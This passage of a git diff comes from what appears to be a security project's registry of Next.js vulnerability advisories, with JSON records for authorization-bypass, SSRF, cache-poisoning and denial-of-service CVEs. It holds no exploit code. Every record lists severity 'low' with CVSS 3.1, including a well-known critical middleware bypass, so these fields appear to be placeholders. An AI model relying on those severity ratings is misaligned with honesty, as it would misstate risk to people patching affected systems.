    -    "GHSA-x56p-c8cg-q435"
    -  ],
    -  "affected_versions": [
    -    "introduced=9.5.0, fixed<9.5.4"
    -  ],
    -  "fixed_versions": [
    -    "9.5.4"
    -  ],
    -  "package_name": "next",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/nextjs/cases/nextjs-cve-2020-15242.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "proxy-boundary-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Next.js"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/nextjs--CVE-2024-34351.json b/08-threat-intel/registry/advisories/nextjs--CVE-2024-34351.json
    index 7e488477..23cf2610 100644
    --- a/08-threat-intel/registry/advisories/nextjs--CVE-2024-34351.json
    +++ b/08-threat-intel/registry/advisories/nextjs--CVE-2024-34351.json
    @@ -49,18 +49,18 @@
       ],
       "status": "generated",
       "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    +  "verification_status": "verified-real",
    +  "verification_mode": "real",
    +  "last_verified_at": "2026-03-18T01:29:57+00:00",
    +  "last_run_id": "nextjs-nextjs--CVE-2024-34351-20260318012953",
    +  "evidence_bundle": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-34351-20260318012953",
       "browser_evidence": {
         "required": false,
         "present": false,
         "refs": []
       },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    +  "repro_profile_id": "nextjs-ssrf",
    +  "artifact_mode": "local-fixture",
       "blocked_reason": null,
       "metadata": {
         "source_names": [
    @@ -70,5 +70,7 @@
           "osv-batch"
         ],
         "candidate_count": 1
    -  }
    +  },
    +  "historical_status": "verified-real",
    +  "latest_status": "verified-real"
     }
    diff --git a/08-threat-intel/registry/advisories/nextjs--CVE-2024-51479.json b/08-threat-intel/registry/advisories/nextjs--CVE-2024-51479.json
    deleted file mode 100644
    index 6a1bb62e..00000000
    --- a/08-threat-intel/registry/advisories/nextjs--CVE-2024-51479.json
    +++ /dev/null
    @@ -1,73 +0,0 @@
    -{
    -  "canonical_id": "nextjs--CVE-2024-51479",
    -  "system_id": "nextjs",
    -  "display_name": "Next.js",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Next.js authorization bypass vulnerability",
    -  "summary": "### Impact\nIf a Next.js application is performing authorization in middleware based on pathname, it was possible for this authorization to be bypassed.\n\n### Patches\nThis issue was patched in Next.js `14.2.15` and later.\n\nIf your Next.js application is hosted on Vercel, this vulnerability has been automatically mitigated, regardless of Next.js version.\n\n### Workarounds\nThere are no official workarounds for this vulnerability.\n\n#### Credits\nWe'd like to thank [tyage](http://github.com/tyage) (GMO CyberSecurity by IERAE) for responsible disclosure of this issue.",
    -  "published_at": "2024-12-17T15:09:06Z",
    -  "updated_at": "2025-09-10T21:12:24Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-7gfc-8cq8-jh5f",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2024-51479",
    -    "https://github.com/vercel/next.js/commit/1c8234eb20bc8afd396b89999a00f06b61d72d7b",
    -    "https://github.com/vercel/next.js",
    -    "https://github.com/vercel/next.js/releases/tag/v14.2.15"
    -  ],
    -  "aliases": [
    -    "CVE-2024-51479",
    -    "GHSA-7gfc-8cq8-jh5f"
    -  ],
    -  "cve_ids": [
    -    "CVE-2024-51479"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-7gfc-8cq8-jh5f"
    -  ],
    -  "osv_ids": [
    -    "GHSA-7gfc-8cq8-jh5f"
    -  ],
    -  "affected_versions": [
    -    "introduced=9.5.5, fixed<14.2.15"
    -  ],
    -  "fixed_versions": [
    -    "14.2.15"
    -  ],
    -  "package_name": "next",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/nextjs/cases/nextjs-cve-2024-51479.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "authz-bypass-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Next.js"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/nextjs--CVE-2025-29927.json b/08-threat-intel/registry/advisories/nextjs--CVE-2025-29927.json
    deleted file mode 100644
    index ac734c1f..00000000
    --- a/08-threat-intel/registry/advisories/nextjs--CVE-2025-29927.json
    +++ /dev/null
    @@ -1,85 +0,0 @@
    -{
    -  "canonical_id": "nextjs--CVE-2025-29927",
    -  "system_id": "nextjs",
    -  "display_name": "Next.js",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Authorization Bypass in Next.js Middleware",
    -  "summary": "# Impact\nIt is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware.\n\n# Patches\n* For Next.js 15.x, this issue is fixed in `15.2.3`\n* For Next.js 14.x, this issue is fixed in `14.2.25`\n* For Next.js 13.x, this issue is fixed in 13.5.9\n* For Next.js 12.x, this issue is fixed in 12.3.5\n* For Next.js 11.x, consult the below workaround.\n\n_Note: Next.js deployments hosted on Vercel are automatically protected against this vulnerability._\n\n# Workaround\nIf patching to a safe version is infeasible, we recommend that you prevent external user requests which contain the `x-middleware-subrequest` header from reaching your Next.js application.\n\n## Credits\n\n- Allam Rachid (zhero;)\n- Allam Yasser (inzo_)",
    -  "published_at": "2025-03-21T15:20:12Z",
    -  "updated_at": "2026-03-04T15:06:29.993197Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2025-29927",
    -    "https://github.com/vercel/next.js/commit/52a078da3884efe6501613c7834a3d02a91676d2",
    -    "https://github.com/vercel/next.js/commit/5fd3ae8f8542677c6294f32d18022731eab6fe48",
    -    "https://github.com/vercel/next.js",
    -    "https://github.com/vercel/next.js/releases/tag/v12.3.5",
    -    "https://github.com/vercel/next.js/releases/tag/v13.5.9",
    -    "https://security.netapp.com/advisory/ntap-20250328-0002",
    -    "https://vercel.com/changelog/vercel-firewall-proactively-protects-against-vulnerability-with-middleware",
    -    "http://www.openwall.com/lists/oss-security/2025/03/23/3",
    -    "http://www.openwall.com/lists/oss-security/2025/03/23/4"
    -  ],
    -  "aliases": [
    -    "CVE-2025-29927",
    -    "GHSA-f82v-jwr5-mffw"
    -  ],
    -  "cve_ids": [
    -    "CVE-2025-29927"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-f82v-jwr5-mffw"
    -  ],
    -  "osv_ids": [
    -    "GHSA-f82v-jwr5-mffw"
    -  ],
    -  "affected_versions": [
    -    "introduced=13.0.0, fixed<13.5.9",
    -    "introduced=14.0.0, fixed<14.2.25",
    -    "introduced=15.0.0, fixed<15.2.3",
    -    "introduced=12.0.0, fixed<12.3.5"
    -  ],
    -  "fixed_versions": [
    -    "13.5.9",
    -    "14.2.25",
    -    "15.2.3",
    -    "12.3.5"
    -  ],
    -  "package_name": "next",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/nextjs/cases/nextjs-cve-2025-29927.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "real",
    -  "last_verified_at": "2026-03-17T06:30:47+00:00",
    -  "last_run_id": "nextjs-nextjs--CVE-2025-29927-20260317063047",
    -  "evidence_bundle": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2025-29927-20260317063047",
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "authz-bypass-generic",
    -  "artifact_mode": "official-source",
    -  "blocked_reason": "dry-run only",
    -  "metadata": {
    -    "source_names": [
    -      "OSV Next.js"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/nextjs--CVE-2025-49826.json b/08-threat-intel/registry/advisories/nextjs--CVE-2025-49826.json
    deleted file mode 100644
    index 795fa79b..00000000
    --- a/08-threat-intel/registry/advisories/nextjs--CVE-2025-49826.json
    +++ /dev/null
    @@ -1,75 +0,0 @@
    -{
    -  "canonical_id": "nextjs--CVE-2025-49826",
    -  "system_id": "nextjs",
    -  "display_name": "Next.js",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Next.JS vulnerability can lead to DoS via cache poisoning ",
    -  "summary": "### Summary\nA vulnerability affecting Next.js has been addressed. It impacted versions 15.0.4 through 15.1.8 and involved a cache poisoning bug leading to a Denial of Service (DoS) condition.\n\nUnder certain conditions, this issue may allow a HTTP 204 response to be cached for static pages, leading to the 204 response being served to all users attempting to access the page\n\nMore details: [CVE-2025-49826](https://vercel.com/changelog/cve-2025-49826)\n\n## Credits\n- Allam Rachid [zhero;](https://zhero-web-sec.github.io/research-and-things/)\n- Allam Yasser (inzo)",
    -  "published_at": "2025-07-03T21:14:48Z",
    -  "updated_at": "2025-07-03T21:49:52Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-67rr-84xm-4c7r",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2025-49826",
    -    "https://github.com/vercel/next.js/commit/16bfce64ef2157f2c1dfedcfdb7771bc63103fd2",
    -    "https://github.com/vercel/next.js/commit/a15b974ed707d63ad4da5b74c1441f5b7b120e93",
    -    "https://github.com/vercel/next.js",
    -    "https://github.com/vercel/next.js/releases/tag/v15.1.8",
    -    "https://vercel.com/changelog/cve-2025-49826"
    -  ],
    -  "aliases": [
    -    "CVE-2025-49826",
    -    "GHSA-67rr-84xm-4c7r"
    -  ],
    -  "cve_ids": [
    -    "CVE-2025-49826"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-67rr-84xm-4c7r"
    -  ],
    -  "osv_ids": [
    -    "GHSA-67rr-84xm-4c7r"
    -  ],
    -  "affected_versions": [
    -    "introduced=15.0.4-canary.51, fixed<15.1.8"
    -  ],
    -  "fixed_versions": [
    -    "15.1.8"
    -  ],
    -  "package_name": "next",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/nextjs/cases/nextjs-cve-2025-49826.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "proxy-boundary-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Next.js"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/nextjs--CVE-2025-55173.json b/08-threat-intel/registry/advisories/nextjs--CVE-2025-55173.json
    deleted file mode 100644
    index ab8f2391..00000000
    --- a/08-threat-intel/registry/advisories/nextjs--CVE-2025-55173.json
    +++ /dev/null
    @@ -1,76 +0,0 @@
    -{
    -  "canonical_id": "nextjs--CVE-2025-55173",
    -  "system_id": "nextjs",
    -  "display_name": "Next.js",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Next.js Content Injection Vulnerability for Image Optimization",
    -  "summary": "A vulnerability in **Next.js Image Optimization** has been fixed in **v15.4.5** and **v14.2.31**. The issue allowed attacker-controlled external image sources to trigger file downloads with arbitrary content and filenames under specific configurations. This behavior could be abused for phishing or malicious file delivery.\n\nAll users relying on `images.domains` or `images.remotePatterns` are encouraged to upgrade and verify that external image sources are strictly validated.\n\nMore details at [Vercel Changelog](https://vercel.com/changelog/cve-2025-55173)",
    -  "published_at": "2025-08-29T21:59:55Z",
    -  "updated_at": "2026-02-04T04:35:34.538107Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-xv57-4mr9-wg8v",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2025-55173",
    -    "https://github.com/vercel/next.js/commit/6b12c60c61ee80cb0443ccd20de82ca9b4422ddd",
    -    "https://github.com/vercel/next.js",
    -    "https://vercel.com/changelog/cve-2025-55173",
    -    "http://vercel.com/changelog/cve-2025-55173"
    -  ],
    -  "aliases": [
    -    "CVE-2025-55173",
    -    "GHSA-xv57-4mr9-wg8v"
    -  ],
    -  "cve_ids": [
    -    "CVE-2025-55173"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-xv57-4mr9-wg8v"
    -  ],
    -  "osv_ids": [
    -    "GHSA-xv57-4mr9-wg8v"
    -  ],
    -  "affected_versions": [
    -    "introduced=0.9.9, fixed<14.2.31",
    -    "introduced=15.0.0, fixed<15.4.5"
    -  ],
    -  "fixed_versions": [
    -    "14.2.31",
    -    "15.4.5"
    -  ],
    -  "package_name": "next",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/nextjs/cases/nextjs-cve-2025-55173.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "xss-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Next.js"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/nextjs--CVE-2025-57752.json b/08-threat-intel/registry/advisories/nextjs--CVE-2025-57752.json
    deleted file mode 100644
    index 3ca398de..00000000
    --- a/08-threat-intel/registry/advisories/nextjs--CVE-2025-57752.json
    +++ /dev/null
    @@ -1,76 +0,0 @@
    -{
    -  "canonical_id": "nextjs--CVE-2025-57752",
    -  "system_id": "nextjs",
    -  "display_name": "Next.js",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Next.js Affected by Cache Key Confusion for Image Optimization API Routes",
    -  "summary": "A vulnerability in Next.js Image Optimization has been fixed in v15.4.5 and v14.2.31. When images returned from API routes vary based on request headers (such as `Cookie` or `Authorization`), these responses could be incorrectly cached and served to unauthorized users due to a cache key confusion bug.\n\nAll users are encouraged to upgrade if they use API routes to serve images that depend on request headers and have image optimization enabled.\n\nMore details at [Vercel Changelog](https://vercel.com/changelog/cve-2025-57752)",
    -  "published_at": "2025-08-29T22:06:22Z",
    -  "updated_at": "2026-02-04T02:50:08.291668Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-g5qg-72qw-gw5v",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2025-57752",
    -    "https://github.com/vercel/next.js/pull/82114",
    -    "https://github.com/vercel/next.js/commit/6b12c60c61ee80cb0443ccd20de82ca9b4422ddd",
    -    "https://github.com/vercel/next.js",
    -    "https://vercel.com/changelog/cve-2025-57752"
    -  ],
    -  "aliases": [
    -    "CVE-2025-57752",
    -    "GHSA-g5qg-72qw-gw5v"
    -  ],
    -  "cve_ids": [
    -    "CVE-2025-57752"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-g5qg-72qw-gw5v"
    -  ],
    -  "osv_ids": [
    -    "GHSA-g5qg-72qw-gw5v"
    -  ],
    -  "affected_versions": [
    -    "introduced=0.9.9, fixed<14.2.31",
    -    "introduced=15.0.0, fixed<15.4.5"
    -  ],
    -  "fixed_versions": [
    -    "14.2.31",
    -    "15.4.5"
    -  ],
    -  "package_name": "next",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/nextjs/cases/nextjs-cve-2025-57752.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "proxy-boundary-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Next.js"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/nextjs--CVE-2025-57822.json b/08-threat-intel/registry/advisories/nextjs--CVE-2025-57822.json
    deleted file mode 100644
    index 7b230d34..00000000
    --- a/08-threat-intel/registry/advisories/nextjs--CVE-2025-57822.json
    +++ /dev/null
    @@ -1,76 +0,0 @@
    -{
    -  "canonical_id": "nextjs--CVE-2025-57822",
    -  "system_id": "nextjs",
    -  "display_name": "Next.js",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Next.js Improper Middleware Redirect Handling Leads to SSRF",
    -  "summary": "A vulnerability in **Next.js Middleware** has been fixed in **v14.2.32** and **v15.4.7**. The issue occurred when request headers were directly passed into `NextResponse.next()`. In self-hosted applications, this could allow Server-Side Request Forgery (SSRF) if certain sensitive headers from the incoming request were reflected back into the response.\n\nAll users implementing custom middleware logic in self-hosted environments are strongly encouraged to upgrade and verify correct usage of the `next()` function.\n\nMore details at [Vercel Changelog](https://vercel.com/changelog/cve-2025-57822)",
    -  "published_at": "2025-08-29T21:33:09Z",
    -  "updated_at": "2026-02-04T04:20:45.658010Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-4342-x723-ch2f",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2025-57822",
    -    "https://github.com/vercel/next.js/commit/9c9aaed5bb9338ef31b0517ccf0ab4414f2093d8",
    -    "https://github.com/vercel/next.js",
    -    "https://vercel.com/changelog/cve-2025-57822"
    -  ],
    -  "aliases": [
    -    "CVE-2025-57822",
    -    "GHSA-4342-x723-ch2f"
    -  ],
    -  "cve_ids": [
    -    "CVE-2025-57822"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-4342-x723-ch2f"
    -  ],
    -  "osv_ids": [
    -    "GHSA-4342-x723-ch2f"
    -  ],
    -  "affected_versions": [
    -    "introduced=0.9.9, fixed<14.2.32",
    -    "introduced=15.0.0-canary.0, fixed<15.4.7"
    -  ],
    -  "fixed_versions": [
    -    "14.2.32",
    -    "15.4.7"
    -  ],
    -  "package_name": "next",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/nextjs/cases/nextjs-cve-2025-57822.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage",
    -    "ssrf-url-validation"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Next.js"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/nextjs--CVE-2025-59471.json b/08-threat-intel/registry/advisories/nextjs--CVE-2025-59471.json
    deleted file mode 100644
    index 725abfd8..00000000
    --- a/08-threat-intel/registry/advisories/nextjs--CVE-2025-59471.json
    +++ /dev/null
    @@ -1,77 +0,0 @@
    -{
    -  "canonical_id": "nextjs--CVE-2025-59471",
    -  "system_id": "nextjs",
    -  "display_name": "Next.js",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Next.js self-hosted applications vulnerable to DoS via Image Optimizer remotePatterns configuration",
    -  "summary": "A DoS vulnerability exists in self-hosted Next.js applications that have `remotePatterns` configured for the Image Optimizer. The image optimization endpoint (`/_next/image`) loads external images entirely into memory without enforcing a maximum size limit, allowing an attacker to cause out-of-memory conditions by requesting optimization of arbitrarily large images. This vulnerability requires that `remotePatterns` is configured to allow image optimization from external domains and that the attacker can serve or control a large image on an allowed domain.\n\nStrongly consider upgrading to 15.5.10 and 16.1.5 to reduce risk and prevent availability issues in Next applications.",
    -  "published_at": "2026-01-27T19:18:25Z",
    -  "updated_at": "2026-02-10T01:28:46.973023Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-9g9p-9gw9-jx7f",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2025-59471",
    -    "https://github.com/vercel/next.js/commit/500ec83743639addceaede95e95913398975156c",
    -    "https://github.com/vercel/next.js/commit/e5b834d208fe0edf64aa26b5d76dcf6a176500ec",
    -    "https://github.com/vercel/next.js",
    -    "https://github.com/vercel/next.js/releases/tag/v15.5.10",
    -    "https://github.com/vercel/next.js/releases/tag/v16.1.5"
    -  ],
    -  "aliases": [
    -    "CVE-2025-59471",
    -    "GHSA-9g9p-9gw9-jx7f"
    -  ],
    -  "cve_ids": [
    -    "CVE-2025-59471"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-9g9p-9gw9-jx7f"
    -  ],
    -  "osv_ids": [
    -    "GHSA-9g9p-9gw9-jx7f"
    -  ],
    -  "affected_versions": [
    -    "introduced=10.0.0, fixed<15.5.10",
    -    "introduced=15.6.0-canary.0, fixed<16.1.5"
    -  ],
    -  "fixed_versions": [
    -    "15.5.10",
    -    "16.1.5"
    -  ],
    -  "package_name": "next",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/nextjs/cases/nextjs-cve-2025-59471.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "proxy-boundary-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Next.js"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/nextjs--CVE-2025-59472.json b/08-threat-intel/registry/advisories/nextjs--CVE-2025-59472.json
    deleted file mode 100644
    index eb8a1fe4..00000000
    --- a/08-threat-intel/registry/advisories/nextjs--CVE-2025-59472.json
    +++ /dev/null
    @@ -1,74 +0,0 @@
    -{
    -  "canonical_id": "nextjs--CVE-2025-59472",
    -  "system_id": "nextjs",
    -  "display_name": "Next.js",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Next.js has Unbounded Memory Consumption via PPR Resume Endpoint ",
    -  "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.",
    -  "published_at": "2026-01-28T15:20:55Z",
    -  "updated_at": "2026-02-06T13:13:43.709252Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2025-59472",
    -    "https://github.com/vercel/next.js",
    -    "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472"
    -  ],
    -  "aliases": [
    -    "CVE-2025-59472",
    -    "GHSA-5f7q-jpqc-wp7h"
    -  ],
    -  "cve_ids": [
    -    "CVE-2025-59472"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-5f7q-jpqc-wp7h"
    -  ],
    -  "osv_ids": [
    -    "GHSA-5f7q-jpqc-wp7h"
    -  ],
    -  "affected_versions": [
    -    "introduced=15.0.0-canary.0, fixed<15.6.0-canary.61",
    -    "introduced=16.0.0-beta.0, fixed<16.1.5"
    -  ],
    -  "fixed_versions": [
    -    "15.6.0-canary.61",
    -    "16.1.5"
    -  ],
    -  "package_name": "next",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/nextjs/cases/nextjs-cve-2025-59472.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "proxy-boundary-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Next.js"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/nextjs--GHSA-5j59-xgg2-r9c4.json b/08-threat-intel/registry/advisories/nextjs--GHSA-5j59-xgg2-r9c4.json
    deleted file mode 100644
    index 208f207f..00000000
    --- a/08-threat-intel/registry/advisories/nextjs--GHSA-5j59-xgg2-r9c4.json
    +++ /dev/null
    @@ -1,90 +0,0 @@
    -{
    -  "canonical_id": "nextjs--GHSA-5j59-xgg2-r9c4",
    -  "system_id": "nextjs",
    -  "display_name": "Next.js",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Next has a Denial of Service with Server Components - Incomplete Fix Follow-Up",
